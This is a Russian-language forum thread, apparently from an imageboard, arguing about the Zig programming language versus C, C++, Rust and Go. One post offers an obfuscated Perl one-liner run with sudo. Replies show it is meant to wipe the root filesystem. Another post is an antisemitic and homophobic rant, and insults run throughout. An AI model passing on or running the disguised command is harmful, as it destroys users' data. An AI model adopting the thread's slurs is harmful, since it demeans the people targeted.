Встроенная кросскомпиляция. Интероп с сисиплюсплюс. Можно использовать как компилятор для С/C++ (по слухам предельно быстрый), постепенно переводя кодовую базу.
Без скрытых потоков управления.
Без скрытых выделений памяти.
Без препроцессора и макросов.
Вместо препроцессора так же выполняется зиг код, но на этапе компиляции (comptime), то есть метапрограммирование на самом языке.
Сайт:
https://ziglang.org/ru/
Реддит:
https://www.reddit.com/r/Zig/
Гитхаб:
https://github.com/ziglang/zig
Что есть хорошего написанного на zig? Я только про river-wm знаю.
Объектиники elf и WinPE умеет делать?
Если да - посмотрю, если нет, то такой язык не нужен.
Это Лиза? Что-то как-то постарел Лизонька.
Тут раст не знают куда впихнуть, столько восторженных соплей, а все равно везде плюсы и не думают никуда переходить. А тут еще один системный язык.
В отличие от раста этот язык не пытаются запихнуть в глотку, как повесточку. И в отличии от раста этот язык очень простой, никакой ебли с боров чекером, цветных функций и лайфтаймов. Именно своей простотой он многих привлекает. Некоторые его вообще используют как компилятор для Си, говорят он быстрее, чем родные компиляторы.
да
Как у него обстоят дела с абстракциями? Читал, ооп с виртуальными фуркциями в нем нет, но вроде можно реализовать вручную несколькими способами. Не слишком ли много бойлерплейта придется писать, чтобы реализовать то, что в C++ есть из коробки? И Zig позиционируется, как улучшенный C, а многим ли нужен улучшенный C, когда есть несколько улучшенных C++ (rust, carbon, cppfront)?
>Как у него обстоят дела с абстракциями? Читал, ооп с виртуальными фуркциями в нем нет, но вроде можно реализовать вручную несколькими способами
Да, ООП нет, но так же как и в С или Go, есть структуры, к которым можно добавлять функции (В Go это делается не напрямую, а через ресивер функции), есть интерфейсы https://www.openmymind.net/Zig-Interfaces/
>Не слишком ли много бойлерплейта придется писать, чтобы реализовать то, что в C++ есть из коробки?
Наверное много но зачем опять же? Ты конечно теоретически можешь реализовать на одном языке другой, но это не всегда будет удобно, а тут это еще и не предполагалось. Вопрос примерно такой же как - "а не слишком ли много бойлерплейта нужно чтобы превратить С в С++?", да, много, но зачем это, если люди все еще пишут на С.
И ты же сам признаешь что зиг позиционируется как замена С, в первую очередь. По реализации ООП он вроде больше похоже на Golang со своими интерфейсами (который кстати оказался нужен, несмотря на несколько улучшенных С++)
Проблема с улучшенными С++:
- carbon очень медленно развивается, даже медленнее зига, и выглядит совсем умершим
- rust оказался переусложнен до невозможности и даже насильное запихивание в глотку, смешанное с форсом тренда не помогает, люди ливают (https://loglog.games/blog/leaving-rust-gamedev/).
- cppfront - об этом ничего не могу сказать, в первый раз слышу.
Пока, при условии, что люди пишут на современном диалекте, с умными указателями и не пытаются особо умничать в коде, С++у нет замены, он проще чем раст, более распространен чем карбон.
> а многим ли нужен улучшенный C, когда есть несколько улучшенных C++
Опять, сравнивая с С++, можно выделить основные преимущества - а именно скорость компиляции и отсутствие ебли с заголовками
Для многих людей это оказалось решающим, и скорость компиляции - это то, чего не может дать ни раст, ни С++
Раст не могут запихнут потому, что он невпихуем. Зиг же после си кажется просто удобнее, а не наоборот как с растом.
Нет никакой трудной кривой обучения, раст просто неудобный.
Тред тут не стартанет, раздел ели живет даже на топ языках, но интерес к зигу есть и это интерес именно системщиков, которые пишут на си, а не как в расте больше половины вчерашние питонщики на хайпе.
LANG
Действительно, куда лучше С, С++, D, R, Rust, C#, Go.
А еще когда-то радость мне доставил javascript, владелец рутора так боялся инъекции, что сделал автозамену на поиск по слову "javascript".
И тем не менее пишут
Это хороший вопрос, не знаю
Вроде как собирались пилить после асинков.
Хотя меня напрягает как некоторые системы прибиты к инету и к одной репе. И вроде как можно настроить, но в итоге такой пляс выходит, что ну его. И вроде опенсорс и вроде как очередной nuget получается. И вроде раст весть такой строгий и безопасный, но на пакет тянется тысяча пакетов с не читаемыми кодом и еще такими же не читаемыми макросами
Поидее можно было бы просто плагин к мавену запилить, но видимо пока желающих нет
ОП, хде контент и ньюсы?
Отрастил ряху, завно как растеры нались раста
https://www.youtube.com/watch?v=Oy_VYovfWyo&t=8s
Не понял, так в расте же тоже можно вручную управлять памятью или докладчик этого не знает?
Пусть зиг еще сырой и у него не такое большое сообщество, но туда приходят люди не под влиянием хайпа, а потому что видят настоящую замену Си.
Ну вот пусть и продолжается, я лучше буду донатить "расово верной цисгендерной хуемрази", чем фонду бесполезных обсосов.
Слова Эндрю про переход на свой бекенд к первой версии выглядят мрийно, но если такое действительно произойдет, так еще и с сохранением "бесшовной" компиляции Си кода, то это будет 10/10.
Мне понравилось что они отчитались за пол ляма донатов. Хотел бы видеть такой же отчет от успешных менджеров раста.
И я рад что растом начали наедаться, я говорил что он неудобный, а выдрессированные мне все говорили что я неосилятор. Что не лезет сова на глобус?
> Хотел бы видеть такой же отчет от успешных менджеров раста.
Ага, конечно)
Так сидит подобная ГНОМУ шобла-ебла, с целями которых можно ознакомиться здесь.
https://foundation.gnome.org/strategicplan/
>Без скрытых потоков управления.
>Без скрытых выделений памяти.
Это как? Каким образом гаранируется?
>Без скрытых выделений памяти.
Ручками передаешь аллокатор. В теории это дает возможность подсунуть тестовый аллокатор, который определит утечку.
На практике хз что там и что мешает разработчикам либ забить на это и создавать свои внутренние аллокаторы.
Вот если это было бы какая-то метовая настройка, все все аллокаторы подменялись на твой - это имело больше смысл и меньше бойлерплейта.
Опыт зиг больше показывает что системщикам нужен новый яп, не такой костыльный как раст и но с существующим.интеропом
> >Без скрытых потоков управления.
Ну просто тем что нет перегрузок функций, операторов, виртуальных еба-деструкторов, динамического распределения.
> >Без скрытых выделений памяти.
Стандартная либа написана так что любой пук требующий аллокаций будет принимать аллокатор и собственно задавает стандарт как надо делать. Но де факто никто не мешает тебе внутри твоей либы взять и сделать выделение памяти без предупреждения.
Вообще ровно также как и виртуальные функции. Просто если в крестах компилятор автоматом строит таблицу указателей для каждой реализации интерфейса и передаёт ссылку на объект + ссылку на таблицу, то в zig-е просто это делают ручками.
Предположим тебе нужен интерфейс вида:
void foo(self)
void boo(self)
Ну тебе просто надо создать объект-интерфейс
Const interface = struct {
Указатель на функцию foo
Указатель на функцию boo
Указатель на сам объект
}
Ну и собственно в твою реализацию добавляешь функцию которая создаёт и заполняет эту структуру-интерфейс.
>никакой ебли с боров чекером
Вкатун спок, если ты имеешь представление как оно работает в памяти и хоть раз прочитал растбук, то легко можешь понимать по каким правилам он будет работать.
А вообще если хочешь простоты, то тебе в го
>А вообще если хочешь простоты, то тебе в го
Зачем у меня ест ьтакая же простая как го джава, только более удобная чем го
Кста создатель Зига сделал его потому что его заебал боров чекер
https://www.youtube.com/watch?v=-_wqd1siX24
Вообще интересные фишки у зига, понравилась поддержка разворачивания циклов самим языком и блоковые алиасы типа |x|
> carbon очень медленно развивается, даже медленнее зига, и выглядит совсем умершим
Даже если ещё не умер, то умрёт. Точнее, будет убитым https://killedbygoogle.com/.
Он потому и не популярен наверное, что люди просто боятся вкладывать свои силы и время в поделки гугла.
Го, дарт, у гугла какая-то проблема с разработкой языков. Вероятно он не хочет сильно вкладываться, хочет на шару. Но прокся для С++ это не то, что может выстрелить случайно на удачу.
Скорость компиляции нужна интерпритируемым языкам, а не системным. Тем более тому кто претендует на замену Си надо смотреть на скорость итогового кода а не на скорость его высирания, иначе во время выполнения программы на каком нибудь dsp будет пук среньк.
> скорость компиляции
Почему хелловорлд 2 секунды собирается и весит как моя мама? Через систему сборки он вообще чёто там 15 секунд фурычит.
Раст просто неудобный. Он хорош только в теории, а на практике в нем масса нерешенных проблем.
В последнее время появляется все больше статей/отзывов-разочарований про то как плох раст лол.
Интересно каков Зиг.
Забавно что Primeagen назвал раст коммьюнити одним из самых токсичных лол. Там на самом деле ЧСВшный неадекват происходит.
>В последнее время появляется все больше статей/отзывов-разочарований про то как плох раст лол.
Половина от неосиляторов, которые написали хэлоуворд и пару циклов и пошли стонать, а вот именно о проблемах практически никто не говорит.
На самом деле к расту надо относится как к чему-то новому, там столько фишек интересных появилось, плюс некоторые как например монады были только в совсем задротских языках типа хаскеля, а тут реализовали Result и Option в стиле монад. Что-то полезное типа оператора match, которые появляются в других языках, что-то говно собачье типа лайфтаймов, короче как у всего нового есть свои плюсы и минусы.
За пару лет работы скажу что если сравнивать с гошкой, которая сейчас везде используется и применять раст в той же нише для бекенда, то в отличии от го поддерживать код после того как проект развивался крайне приятно. Тут иммутабельность, все имплементации явные (даже если кодогенерация макросом), компилятор вообще красавчик там встроен мощнейший линтер, обработка ошибок лучше, трейты в разу лучше утиных интерфейсов, дженерики дают пососать и много других приятных мелочей. В го ты сука постоянно должен напрягаться, от работы со слайсами до горутин и того что вокруг этого (мьютекс, вейтгруппы, каналы) в расте если брать tokio оно все в разы удобнее сделано и работает более очевидно.
>Половина от неосиляторов
Как раз нет. Сейчас буллшит об неосиляторах уже не работает придумайте новый, пишут именно те кто наелся. Просто кому-то нужно пару раз удариться головой, а кому-то надо весь лоб разбить чтобы понять суть.
Зиг выстрелит или нет, не важно, главное он показывает что нужно системщикам и людям в общем.
МакРяк
Я слышал, классная штука, жалко в массы не пошла
>придумайте новый
Ну ладно, тогда просто душевнобольные. В растотреде такой уже давно пасётся, хуй знает чего их так привлекает. Ты погоди если zig выстрелит они и к вам припрутся
У зига нет агрессивного маркетинга, пытающийся впихнуть его везде, отсюда нет неадекватных фанбоев и не будет токсичного коммьюнити.
Если сова прекрасно налезает на глобус, собирать питон программистов в системную разработку не нужно.
Если нет пользователей, сова легко натягивается куда угодно на словах, всё равно никто не узнает что получится на практике (ничего). Поэтому говно избегает пользователей препятствуя разоблачению.
Люди просто берут и работают, без маня статей об успешном успехе. а потом обратно сливаются, хайп ради хайпе. Пока донаты идут, эта херня живет, на практике раст очень неудобен и кривая обучения тут не причем.
>Пока донаты идут
Вот именно. Сначала делаешь громкое заявление на переворот мира, привлекаешь спонсоров, а потом тянешь обещания на тормозах 10-20-30 лет сробирая донаты. Классическая модель развода как у известной вапорваре-игры Star Citizen:
>"Чото пилим , вроде перспективно (на словах), но результат планируется когда-нибудь в неопределенном будущем"
А донатики давайте сейчас, надо же двигать прогресс к светлому будущему коммунизма. Короче имитация активности ради попила бабла.
А техи откуда берутся, если кабан не шарит? Именно с сеньеров-помидоров и начинается, а там он или тупой и повелся на рекламу или же потестил и даже о рисках подумал. бред, конечно, снова взял раст, а потом закат ушел
>Вот именно
Я про это и говорю, там же пласт успешных менеджеров от мозилы откололся. Им важнее хайп, драмы, политика, ибо забвение донаты не приносят.
Тут даже причина еще в том, что раст очень неудобный, его поддувать постоянно надо.
Раст как трансы с пидорами, его уже выбрали жиды с бесконечным баблом на поддув. Разве не видишь, что пидарасня мерзкие уроды, а не люди, но это не мешает их форсить, вот и раст то же самое, плевать насколько это уебанский недоязык, это не мешает его форсить из каждого утюга, наоборот, именно за это его и форсят - нагадить, развалить, в чём цель жидопропаганды и состоит, найти говно повонючей и измазать в нём весь мир, на отряды разбрасывателей и мазателей говна у них средства есть.
https://www.youtube.com/watch?v=IroPQ150F6c
Ты так быстро торопился написать своими маленькими ручками, что даже не успел прочитать следующее предложение.
>Вместо препроцессора так же выполняется зиг код, но на этапе компиляции (comptime), то есть метапрограммирование на самом языке.
Накидайте мб годных материалов? Чтобы приятно читалось.
Алсо вот https://www.youtube.com/watch?v=NAOOGB1q6uQ
Каких например проектов?
В С++ есть и макросы и есть constexpr. Это как бы разные понятия. Макросы это то что обрабатываются препроцессором. Препроцессор ничего не знает о языке, это для него тупо текст. А выражения времени компиляции обрабатываются компилятором который знает про типы, языковые конструкции и тп.
Если говорят, что в языке нейм нет макросов, то наверно понимают под этим такое разделение как в Си++
>Microsoft переписывает код ядра и некоторых библиотек Windows на языке Rust
>Microsoft запустила экспериментальный проект по разработке собственного языка программирования Verona, основанного на Rust. По данным CNews, Microsoft планирует переписать на новом языке некоторые низкоуровневые компоненты ОС Windows 10
Как же БЛЯДЕЙ КОРЁЖИТ — любо дорого смотреть.
Ой, как так получилось, что "ненужные" golang и rust оттяпали свою мировую долю? Эт чо получается, мегакорпорации могут тупо бросать в инженеров чемоданы с баблом и чисто по приколу плодить языки конкуренты крестам, забираю всё больше больше ниш у последних?
На очереди кстати carbon от гугла и verona от майки. Оба проекта будут иметь обратную совместимость и оба окончательно отожмут у лохов-фанатиков Страуструпа их плюсплюсолку через отмену этой самой совместимости, когда паства большим числом перекатиться на эти проекта.
Ну а нишу чистой сишки отожмёт zig, да.
>скратч и руби в рейтинге а не на помойке
ого как неполживо
>>277321
карочи ближе к ночи
как мне на зиге без макросов прописать алисасы доступов к полю подструктуры структуры?
в сишке я бы просто ебанул
#define alias struct1->field->subfield
а потом бы сделал
#undef alias
вернусь через месяцок посмотреть ответ
Чувак, у тебя там делфи и vb популярнее пхп - у которого количественная доля до сих пор около 70% всего веба. И котлина, основного языка андроид разработки.
Ну да, нарастающий успех кобола, просто уже стеб в лицо.
Там скорее всего сидит такая же маня как ты, далекая от айти и рисует циферки рандомно.
>На очереди кстати carbon от гугла
У гугла какая-то проблема с созданием языков, судя по тому когда был анонс и какой сейчас статус проекта, можно даже не вспоминать. Чувак из зига сделал больше чем эта команда.
Да и ты видел дизайн языка? Там опять людей из криокамеры вытащили, им даже уже на ютубе мимокродилы намекают чтобы они посмотрели на последние достижения в разных языках, а не делали очередной допотопный высер как го.
>и verona от майки
Эти умеют делать языки и смежные технологии, но они закрыли этот проект.
Зачем? Зиг это хорошая, возможно идеальная альтернатива си, а си по дефолту прекрасен.
Альтернатива прекрасному это что?
> возможно идеальная альтернатива си
Нет, неидеальная. Разработчик у него не такой как все смузихлёб. И обработка ошибок говно. И что-то ещё наверное, что я ещё не вспомнил.
ПИЗДЕЦ
Поверь, то что ты ливнул, зиг от этого только выиграл.
Детские языки тут:
https://2ch.hk/pr/res/3284682.html (М)
https://2ch.hk/pr/res/3287398.html (М)
>мы сделали нечитабельный синтаксис
>@
>а вот у питона
>а вы техдолг джиэса видели
>толька выйграле
Чел ну придирки к синтаксису в 2к24 это чет на джуновском. Типа знаешь, когда придираются к синтаксису создается впечатление что язык реально пиздат, ибо никаких притензий кроме вкусовщины нет.
>называть буквально единственное предназначение яп вкусовщиной
>примерно почувствовать что язык реально пиздат потому, что неудобен
это не боевые, залетуха
Как ты относишься к perl?
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
> rm: it is dangerous to operate recursively on '/'
> rm: use --no-preserve-root to override this failsafe
Ну что ж ты, бэтмен, ключ зажопил?
>называть буквально единственное предназначение яп вкусовщиной
Единственное предназначение ЯП это чтобы тебе нравился синтаксис с эстетической точки зрения? Ебат капат
>>291707
Обфускация это не про плохой синтаксис, это про плохую безопасносить. Ты же понмаешь что нормальный код на перле так не выглядит?
Мне в каждом яп что-то нравится что-то нет, как может все вообще нравится, да еще постоянно какие-то подводные.
Какие же вкатуны дегенераты.
>Ты же понмаешь что нормальный код на перле так не выглядит?
Понимаю, там нормальный код не сильно от этого отличается
>Понимаю, там нормальный код не сильно от этого отличается
Тем временем регекспы из перла унаследовали чуть ли не все языки и с удовольствием кушают их
>Так я сам можно сказать сишник, сишники не могли такого говна наклепать. Скорее это JS дауны которые решили себя сишниками почувствовать.
Правда где-то в середине, автор этого поделия одновременно и сишник и джаваскриптизер
>>291857
> Так я на С++ пишу уже десяток лет,
Кому ты пиздишь, клован, по твоим выделениям видно что ты вчера курсовую сдал и после этого к языкам не притрагивался.
Там причем масса вопросов, по коду что например вот это за хуйня try parseInt оно что цикл с ловушкой исключений формирует, как это вообще работает?
Я знаю в свифте и скотлине есть вот эта залупа козлиная hruk.?puk.!kukarek а тут типа zigанутый придумал try оператор просто использовать и что будет если исключение прилетит в переменную/массив что запишется?
Или это программист дебил?
>Там причем масса вопросов, по коду что например вот это за хуйня try parseInt оно что цикл с ловушкой исключений формирует, как это вообще работает?
Просто археологические раскопки, сидим гадаем что же может этот знак у древних значить, неужели эксепшены затаились?
Цирк дебилов.
>Так я на С++ пишу уже десяток лет, нахуй мне ваша параша с даунским синтаксисом.
Кто тебя заставляет, ты никто и никому не нужен.
>Там причем масса вопросов, по коду
Лол, так я даже дальше не смотрел.
Если ты на улице видишь говно лежит, ты его что дальше рассматриваешь и изучаешь?
>>291990
Ну да, тото наверное мне все хрюши из бигтехов спамят нонстоп с предложениями, когда у меня даже резюме не опубликованно))
Это ты со своим зигом нахуй не нужен, я уверен там 0.0 вакансий на эту парашу.
>Если ты на улице видишь говно лежит, ты его что дальше рассматриваешь и изучаешь?
По аналогии ты сейчас буквально сидишь и ковыряешься в говне.
>Ну да, тото наверное мне все хрюши из бигтехов спамят нонстоп с предложениями, когда у меня даже резюме не опубликованно))
Чувак, либо ты малолетний фантазер, либо взрослый лоб с тотальными проблемами в самооценке, ты даже не представляешь как твои посты выглядят наивно.
>Это ты со своим зигом нахуй не нужен, я уверен там 0.0 вакансий на эту парашу.
Мне срать, инструмент тупо решает мою задачу. Сегодня я к железке написал на сях/зиге, завтра на работе я пописал на шарпах, потом на мобилке пописал на котлине, а потом другу помог с джаваскриптом и го. Язык программирования - не религия, это набор технических решений и пока убер спонсирует нужную мне теху в зиге, я могу позволить себе покодить на нем.
Ну и это нормально у зиганутых?
try parseint
try .append(value)
То есть ловить дропать исключение
пытаться добавить неинициализированную перемесенную (она не добавится при исключении как я понимаю)
А потом два цикла обрабатывать как будто они ровные
for (arr1, arr2) |a, b| {}
Вы вообще вменяемые, нет?
>>292000
То есть плюсовик со стажем увидел std и порвался? Ты сразу палишься по таким мелочам, пидорастер, иди библиотеки с си переписывай, солнце еще высоко.
Ору с твоего коупинга и попыток принизить меня, лол. У кого проблемы с самооценкой - это точно у тебя. В твоих постах прям чувствуется как горит твоя жопа 🤭🤭🤭
>шарп, котлин, жс, го
Мог бы сразу это написать, что ты умственно отсталый, лол. Тогда бы твоё мнение по дефолту не учитывалось.
>>292040
> увидел std
Так я не про std а ублюдскую js конструкцию инклюда где еще ублюдский строковый литерал почему-то используется. Просто пиздец. Ну сразу видно, что создатель жс дебил.
>шарп, котлин, жс, го
>Мог бы сразу это написать, что ты умственно отсталый, лол.
Нефига пердак порвался.
Нет там исключений. Ты увидел около-знакомую конструкцию и пытаешься ее интерпретировать в границах своих познаний, даже знакомство со свифтом тут тебе бы помогло больше, чем твои догадки.
> Так я не про std а ублюдскую js конструкцию инклюда где еще ублюдский строковый литерал почему-то используется. Просто пиздец. Ну сразу видно, что создатель жс дебил.
Ты имеешь в виду ноду-жс которая представляет из себя плюсовую библиотеку предоставляющую джаваскрипту загрузку модулей через функцию require("fs")
Ты обосрался клован. Это не инклюд динамический импорт прямиком из D, который навеян костыльными решениями для с/срр.
А в джаваскрипте экмаскрипте в итоге сделали по своему
import { x } from "puk"
import "puk" as kukarek
>Ты имеешь в виду ноду-жс которая представляет из себя плюсовую библиотеку предоставляющую джаваскрипту загрузку модулей через функцию require("fs")
>
>Ты обосрался клован. Это не инклюд динамический импорт прямиком из D, который навеян костыльными решениями для с/срр.
>А в джаваскрипте экмаскрипте в итоге сделали по своему
>import { x } from "puk"
>import "puk" as kukarek
Сорта говна
Так я не знаю зиг и тупо предположил, вот и спрашиваю. Но исходя из кода это судя по всему так и есть - try без блоков это аналог вопросов, поскольку parseint возвращает число но в нем самом может что то произойти, например недопустимый символ или еще какая хуйня, и "системный программист" на зиге пытается это отловить что бы пропустить, а потом в два массива один из которых явно вариативной длинны, закладывает параллельную обработку.
Это не системное программирование, это вам в веб дорога с такими приколами.
>>292099
смысл кидать доку говна в котором трай кетч решили использовать не как трай кетч?
может еще свич тут это алиса на антил какой нибудь?
язык говна, не заслуживающий жизни
и писать на нем коммерцию ты не можешь себе позволить ибо кабану светит х5 цена поддержки этого говнокода на говноязыке
посему кратенький вердикт - зиг это желемышь для домашних поделок и не более
не забудь маме рассказать, как тебя обидели на двощах
>А потом два цикла обрабатывать как будто они ровные
>
>for (arr1, arr2) |a, b| {}
А если у массивов размеры разные?
В Зиге не любят массивы разного размера, так что проваливай из треда.
https://github.com/rofrol/zig-companies
Впечатление от бывшего известного растера
https://www.youtube.com/watch?v=NAOOGB1q6uQ
За советами и вопросами лучше идти в зиг комьюнити, /pr слишком пустой для non-top языков.
Ну у меня дефолтный пет проект - примитивное ядрышко для заупска под кемой, писал когда 0.10 была актуальна
В сравнении с С - одно и тоже по ощущениям, только больше сахара и приятный compile time
В сравнении с растом - проще. На расте несколько раз переделывал из-за "Ну если так сделать, то вообще по красоте выйдет... В смысле блять нельзя так без ансейфа?".
Но с другой стороны когда все собиралось в итоге на расте, то оно работало. Тут так не вышло.
Единственное - для обоих языков выше инфы куда больше. На С весь osdev написан, на расте целый блог про разработку ядра с примерами что и как. Тут же пришлось по обрывкам понимать как сделать так как я хочу, в особенности со сраной билд системой.
Вообщем очень такая прикольная "современная" сишка как по мне
Кресты идут нахуй, на работе цирка с ними хватает, чтобы с ними ещё петы писать
https://www.youtube.com/watch?v=8Awg17pklSA&list=PLtB7CL7EG7pCw7Xy1SQC53Gl8pI7aDg9t
чел пыхтит, пытается свой RTP придумать, хуярит битики в udp датаграм
https://www.youtube.com/watch?v=VSf6WSjkEAs
У меня если честно нет идей конкретно под этот ЯП. Так поиграться конечно прикольно. Для обучения. Есть на месте спортсмены, который действительно знают толк в системном программировании? иногда смотрю на АСМ простыню и думаю, а туда ли я зашёл?
Насчет Раста и Зига. Мне нравится в зиге "никаких скрытых аллокаци", все аллокации явные, а ограничения по аллокациям на стеке довольно просты (хуй тебе, а не аллокации на стеке) вообще начал копать эту тему насчет alloca и какой-то дядя даже посчитал более-менее безопасный размер под выделение, и там крохи по большому счету + как компилятор оптимизирует - будто бы много подводных...
В Расте же нет такой условной свободы, неявные аллокации, я вангую что из-за хайпа раста и набега веб-разработчиков(без обид), люди пересевшие с GC языков, будут просто заучивать и запоминать где & &mut подставить)) и потом приводить код к тому, чтобы компилятор не ругался. Не знаю может я наивен, но... лучше каждому кто перешел с ГЦ языков, давать поуправлять памятью так или иначе...
>Единственное - для обоих языков выше инфы куда больше. На С весь osdev написан, на расте целый блог про разработку ядра с примерами что и как. Тут же пришлось по обрывкам понимать как сделать так как я хочу, в особенности со сраной билд системой.
А почему бы не сделать сначала на расте прототип, а потом переписать на Зиг? Не думал об этом?
Хот конечно использоать раст для прототипирования - небольшой оверкилл, мягко говоря...
Зиг это улучшенный Си, если тебе не нужен был и раньше си то и зиг не особо нужен.
Другая философия в том что взяв си у тебя появляется инструмент для всего, абсолютно (от драйверов, ембеддед и реалтайм до написания бд или даже веба). Даже плюсы не везде можно засунуть, а тут абсолютная власть над железкой (на ассемблере уже почти не пишут, только читают).
Конечно все имеет цену и придется писать больше кода. Но ты сможешь компенсировать это путем использования связки си + скриптовый язык (например питон + си или js + си) или не использовать и писать больше кода, ради большего контроля.
Вопрос надо тебе это, это решать тебе.
>а что ещё?
Дженерики (-> нормальная стд), перегрузки, какая-никакая (скорее, никакая, надо делать как в Hare, либо исключения) обработка ошибок. Ну и модули.
Не нужен forward declaration, дженерики без костылей с макросами, скрипты на самом языке вместо смейка, разрабатывается без оглядки на дедов, у которых стоял при Рейгане
>нормальная стд
Нахуй не нужна.
>Ну и модули.
Хуйня без задач.
>перегрузки
Это вообще во вред.
>обработка ошибок
В расте она норм, но это из-за юнион типов. В зиге как сделано?
>Не нужен forward declaration
Пиздец, типо это та самая проблема которую надо было решать?
>скрипты на самом языке вместо смейка
Ох ебать даунизм.
> Нахуй не нужна.
> Хуйня без задач.
> Это вообще во вред.
Ну вот поэтому с сишниками в принципе нет особо смысла разговаривать. Хз, что тебе посоветовать, сходи к Столярову, что-ли, а лучше нахуй.
Уёбок тупорылый, в Си есть серьёзные проблемы, но зиг решает не их.
>Зиг это улучшенный Си
Это Си со встроенным скриптовым языком и теми же проблемами, ясно-понятно.
>Уёбок тупорылый
Причина баха?
> в Си есть серьёзные проблемы
Разумеется есть, а именно:
1. Отсутствие неймспейсов
2. Отсутствие нормальной обработки ошибок
3. Макросы
4. void*
Но у тебя, конечно же, другое мнение на этот счёт и сейчас ты его напишешь.
Я выше спросил, что там в зиге, мне перечислили какие-то свистелки и перделки. Делаю вывод, что зиг нахуй не нужен.
Мы вам перезвоним.
>набега веб-разработчиков(без обид)
Да тут все просто, на самом деле у нас разные потребности и подходы, у тех кто пишет бекенд выше навык работы с абстракциями. Когда фокусируешь на бизнеслогике, а приложения большие и имеют много взаимодействий с внешним миром в разных местах с разными людьми ты перестаешь фокусироваться на деталях, а переходишь к абстракциям. То есть свой кусок бизнеслогики делаешь в деталях, а от всего другого абстрагируешься и пользуешься тем что тебе предоставили твои коллеги, авторы библиотек и языков. Если у раста зона ответственности за выделение памяти лежит на компиляторе или там в го и жабе за это отвечает ГЦ, то с этим и работаем, не нужно лезть в чужую зону ответственности. Иначе так можно все переписывать и переделывать до бесконечности от брокера сообщений и баз данных до компилятора языка.
>люди пересевшие с GC языков, будут просто заучивать и запоминать где & &mut подставить)) и потом приводить код к тому, чтобы компилятор не ругался.
Это буквально за пару недель работы приходит, когда начинаешь понимать как работает баран чекер и лайфтаймы это уже не кажатся темной шкатулкой. Опять же умение пользоваться абстракциями, ты взаимодействуешь с компилятором по определенным правилам которые простые на самом деле, взамен он берет на себя все проблемы с выделением и освобождением памяти.
Ну а чего бы и не порассуждать в треде серьезного языка, в который контрибьютят школьники 13 лет
Судя по уровня "ря" это очередной фанатик раст (как часто бывает даже не программист, у этих яп как религия).
Если раст приходится натягивать на глобус и 10 лет рассказывать питонистам как мы победили память, то у зига (особенно, видимо, после траха с растом) идет естественный хайп, о нем нередко говорят в связке раст и вот у полудурков бомбит.
Нередко раст противопоставляют го, думаю на гоферов они тоже бросаются
>Это буквально за пару недель работы приходит, когда начинаешь понимать как работает баран чекер и лайфтаймы это уже не кажатся темной шкатулкой.
А потом приходят асинк/авэй и сложность возрастает в прогрессии. Асинки как-будто выворачивают раст наизнанку.
Так что в связке веба, раст сделал себе харакири. А я напоминаю, что до релиза в расте были зеленые потоки.
>А потом приходят асинк/авэй и сложность возрастает в прогрессии.
Нет, это тоже не темная шкатулка если понимаешь как оно работает. Не ну по началу, да, в какой-то степени сложно, но когда понимаешь что такое футуры и как они работают, то вообще никаких сложностей
Классический буллшит маркелогов раста - проблема не в расте, проблема в навыках. На это уже никто не ведется.
Когда будет отчет фонда, как у зига?
Ну раст-то уж точно нахуй не нужен. Если куда-то и переезжать всем светом, то это на зиг.
В отчете фонда не было указанно финансирование евангелистов.
Зигу бы они не помешали. В отличие от раста в языке не нужно форсить 10 лет фразу "это проблема навыка, а не языка"
> Где-то я уже это видел.
А хуле нет? Правда зиг довольно уебищен в синтаксисе, но вариантов-то других и нет. Не растом же пользоваться.
Ну зачем ты так грубо, надо быть помягче с раст программистами, им и так нелегко.
Что не так? Два раза перечитал.
Люди играются с комптаймом, что не так?
https://zig.news/orgold/type-safe-tagged-pointers-with-comptime-ghi
Не один баран-чеккер не пострадал.
Писать на Си или на Аде.
Из плюсов, надо отметить, что они думают об асинках в контексте решения проблемы цветных функций. Так что можешь и что-то годное сделают.
Проблема жопных асинков раста в самом кривом дизайне раста. Так что хуже точно не будет. Надеюсь вообще завезут отдельный опциональный рантайм с зеленными функциями.
Когда в linux появится?
872x592, 0:17
А ты как думал кто аудитория этого языка, вон они и текстовый редактор модный пилят
Пока на расте пыхтят с языком и с трудом допиливают функционал уровня блокнота, зиговцы от излишка времени колбасят нескучные редакторы.
>зиговцы от излишка времени колбасят нескучные редакторы
Все так, школа до обеда, домашки на час, кормит, одевает мамка и можно дохуя времени посвятить нескучным редакторам
Сразу же как сделают тип String Очередные грабли с 100500 разнообразием строк от каждого васяна, привет мой любимый девяносто седьмой
Там лучше иди доделывай документацию на русском языке
Тем временем IDE на расте
https://www.reddit.com/r/rust/comments/1gi66hq/ive_built_a_really_bad_ide/
Ну вот типичный школотрон стрелки переводить, мол Вася из 8Б тоже говно делает